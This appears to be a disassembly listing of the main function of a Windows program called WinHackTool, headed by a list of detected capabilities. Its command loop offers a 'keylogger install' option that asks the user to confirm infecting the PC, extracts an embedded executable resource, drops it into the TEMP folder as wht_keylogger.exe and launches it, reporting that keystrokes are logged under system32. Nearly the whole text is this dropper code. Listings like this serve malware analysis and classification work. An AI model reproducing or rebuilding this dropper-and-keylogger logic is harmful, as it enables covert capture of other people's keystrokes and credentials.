Function at 0x40195e
Capabilities:
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0xd30
call sym.___main
mov dword [esp], 0xfffffff5
mov eax, dword [sym.imp.KERNEL32.dll_GetStdHandle]
call eax
sub esp, 4
lea edx, [ebp - 0x4a]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
call eax
sub esp, 8
movzx eax, word [ebp - 0x4a]
cwde
mov dword [ebp - 0x1c], eax
mov dword [esp], 0xfffffff5
mov eax, dword [sym.imp.KERNEL32.dll_GetStdHandle]
call eax
sub esp, 4
mov dword [esp + 4], 0xb
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call eax
sub esp, 8
mov dword [esp], 0xa
call sym._putchar
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str._________:____________________________________________________________________________________n
call sym._center
mov dword [esp + 4], eax
mov dword [esp], 0x4050d6
call sym._printf
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.__________:______________________________________________:_________________________________________n
call sym._center
mov dword [esp + 4], eax
mov dword [esp], 0x4050d6
call sym._printf
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.__________:________________________________________________________________________________________n
call sym._center
mov dword [esp + 4], eax
mov dword [esp], 0x4050d6
call sym._printf
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.__________:________________________________________________________________________________n
call sym._center
mov dword [esp + 4], eax
mov dword [esp], 0x4050d6
call sym._printf
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.__________:______________________________________________________________________________________n
call sym._center
mov dword [esp + 4], eax
mov dword [esp], 0x4050d6
call sym._printf
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.__________________________________________________________________________________________:_____n
call sym._center
mov dword [esp + 4], eax
mov dword [esp], 0x4050d6
call sym._printf
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.________________________________________________________________________________:_____n
call sym._center
mov dword [esp + 4], eax
mov dword [esp], 0x4050d6
call sym._printf
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.__________:_____________________________________________________________________________:_____n
call sym._center
mov dword [esp + 4], eax
mov dword [esp], 0x4050d6
call sym._printf
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.__________:_________________:___________________________________________________________:_____n
call sym._center
mov dword [esp + 4], eax
mov dword [esp], 0x4050d6
call sym._printf
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.__________:______:________:_____________________________________________________:_____n
call sym._center
mov dword [esp + 4], eax
mov dword [esp], 0x4050d6
call sym._printf
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.__________:____________________________________________:________________________________:______n
call sym._center
mov dword [esp + 4], eax
mov dword [esp], 0x4050d6
call sym._printf
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.____Type__help__for_command_list___
call sym._center
mov dword [esp + 4], eax
mov dword [esp], str._n_n_s_n_n
call sym._printf
mov dword [esp], 0xfffffff5
mov eax, dword [sym.imp.KERNEL32.dll_GetStdHandle]
call eax
sub esp, 4
mov dword [esp + 4], 7
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call eax
sub esp, 8
mov dword [esp], str.hacktool_
call sym._printf
mov dword [esp], 0
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call eax
mov dword [esp + 8], eax
mov dword [esp + 4], 0x800
lea eax, [ebp - 0x868]
mov dword [esp], eax
call sym._fgets
mov dword [esp + 4], 0x405521
lea eax, [ebp - 0x868]
mov dword [esp], eax
call sym._strcspn
mov byte [ebp + eax - 0x868], 0
mov dword [ebp - 0xc], 0
jmp 0x401c0e
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xcb8], 0x405523
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x13
jle 0x401bfc
mov dword [ebp - 0x10], 0
mov dword [esp + 4], 0x405525
lea eax, [ebp - 0x868]
mov dword [esp], eax
call sym._strtok
mov dword [ebp - 0x14], eax
jmp 0x401c75
add dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 0x14
jle 0x401c46
sub dword [ebp - 0x10], 1
jmp 0x401c7b
mov eax, dword [ebp - 0x10]
lea ebx, [eax - 1]
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._strdup
mov dword [ebp + ebx*4 - 0xcb8], eax
mov dword [esp + 4], 0x405525
mov dword [esp], 0
call sym._strtok
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401c36
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0x405527
call sym._printf
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], str.char_args__d___
call sym._printf
mov dword [ebp - 0x18], 0
jmp 0x401cdf
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xcb8]
mov dword [esp + 4], eax
mov dword [esp], str.__s_
call sym._printf
mov eax, dword [ebp - 0x18]
add eax, 1
cmp dword [ebp - 0x10], eax
jle 0x401cdb
mov dword [esp], 0x405543
call sym._printf
add dword [ebp - 0x18], 1
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x10]
jl 0x401caa
mov dword [esp], 0x405546
call sym._puts
mov eax, dword [ebp - 0xcb8]
mov dword [esp + 4], str.help
mov dword [esp], eax
mov eax, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
call eax
test eax, eax
jne 0x401d76
cmp dword [ebp - 0x10], 1
je 0x401d35
mov eax, dword [ebp - 0xcb4]
mov dword [esp + 4], str.keylogger
mov dword [esp], eax
mov eax, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
call eax
test eax, eax
jne 0x401ba1
mov dword [esp], str._____Keylogger_Commands________________________________________________________
call sym._puts
mov dword [esp], str._keylogger_install______Installs_the_WinHackTool_Keylogger_on_this_system._____
call sym._puts
mov dword [esp], str._keylogger_uninstall____Uninstalls_the_WinHackTool_Keylogger_from_this_system._
call sym._puts
mov dword [esp], str._keyloger__info__________Shows_info_about_the_keylogger.________________________
call sym._puts
mov dword [esp], str._______________________________________________________________________________
call sym._puts
jmp 0x401ba1
mov eax, dword [ebp - 0xcb8]
mov dword [esp + 4], str.keylogger
mov dword [esp], eax
mov eax, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
call eax
test eax, eax
jne 0x402174
cmp dword [ebp - 0x10], 1
jle 0x401da2
cmp dword [ebp - 0x10], 2
jle 0x401dae
mov dword [esp], str.Invalid_usage._Run__help_keylogger__for_commands.
call sym._puts
mov eax, dword [ebp - 0xcb4]
mov dword [esp + 4], str.info
mov dword [esp], eax
mov eax, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
call eax
test eax, eax
jne 0x401ddb
mov dword [esp], str.This_WinHackTool_binary_contains_the_WinHackTool_Keylogger_version_1.0.
call sym._puts
jmp 0x401ba1
mov eax, dword [ebp - 0xcb4]
mov dword [esp + 4], str.install
mov dword [esp], eax
mov eax, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
call eax
test eax, eax
jne 0x401ba1
mov dword [esp], str.Infect_this_PC_with_the_WinHackTool_Keylogger__You_will_be_able_to_remove_it_using__keylogger_uninstall__later.
call sym._puts
mov dword [esp], str._Y:_Yes___N:_No_:
call sym._printf
mov dword [esp], 0
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call eax
mov dword [esp + 8], eax
mov dword [esp + 4], 0xa
lea eax, [ebp - 0x54]
mov dword [esp], eax
call sym._fgets
mov dword [esp + 4], 0x405521
lea eax, [ebp - 0x54]
mov dword [esp], eax
call sym._strcspn
mov byte [ebp + eax - 0x54], 0
movzx eax, byte [ebp - 0x54]
cmp al, 0x79
je 0x401e64
movzx eax, byte [ebp - 0x54]
cmp al, 0x59
jne 0x402182
mov dword [esp], 0
call sym._progressbar
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov dword [esp], str._n_n_s_n
call sym._printf
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._free
mov dword [esp], str.Dropping_binary...
call sym._puts
mov dword [esp + 8], 0x400
lea eax, [ebp - 0xc68]
mov dword [esp + 4], eax
mov dword [esp], str.TEMP
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0xc68]
mov dword [esp], eax
call sym._strlen
mov edx, eax
lea eax, [ebp - 0xc68]
add eax, edx
mov dword [eax], 0x7468775c
mov dword [eax + 4], 0x79656b5f
mov dword [eax + 8], 0x67676f6c
mov dword [eax + 0xc], 0x652e7265
mov word [eax + 0x10], 0x6578
mov byte [eax + 0x12], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x24], eax
mov dword [esp + 8], 0xa
mov dword [esp + 4], 2
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindResourceA]
call eax
sub esp, 0xc
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadResource]
call eax
sub esp, 8
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LockResource]
call eax
sub esp, 4
mov dword [ebp - 0x30], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 2
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
lea eax, [ebp - 0xc68]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffff
jne 0x401fc7
call sym._GetLastErrorAsString
mov dword [esp + 4], eax
mov dword [esp], str._n_nError._n_s_n
call sym._printf
jmp 0x402183
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SizeofResource]
call eax
sub esp, 8
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x58]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
test eax, eax
jne 0x402036
call sym._GetLastErrorAsString
mov dword [esp + 4], eax
mov dword [esp], str._n_nError._n_s_n
call sym._printf
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
jmp 0x402183
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp + 4], 2
mov dword [esp], 0
call sym._move_textcur_back
mov dword [esp], 0x32
call sym._progressbar
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._puts
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._free
mov dword [esp], str.Starting_keylogger...
call sym._puts
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0xcfc]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0xcfc], 0x44
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x68]
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0x68]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0xcfc]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 8
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0xc68]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov dword [esp + 4], 2
mov dword [esp], 0
call sym._move_textcur_back
mov dword [esp], 0x64
call sym._progressbar
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._puts
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._free
mov dword [esp], str.Keylogger_started_and_running._Keylogs_saved_to___SYSTEMROOT___system32wht_keylog.log_n_n_n_n
call sym._printf
jmp 0x401ba1
mov dword [esp], str.Unknown_command
call sym._puts
jmp 0x402183
nop
jmp 0x401ba1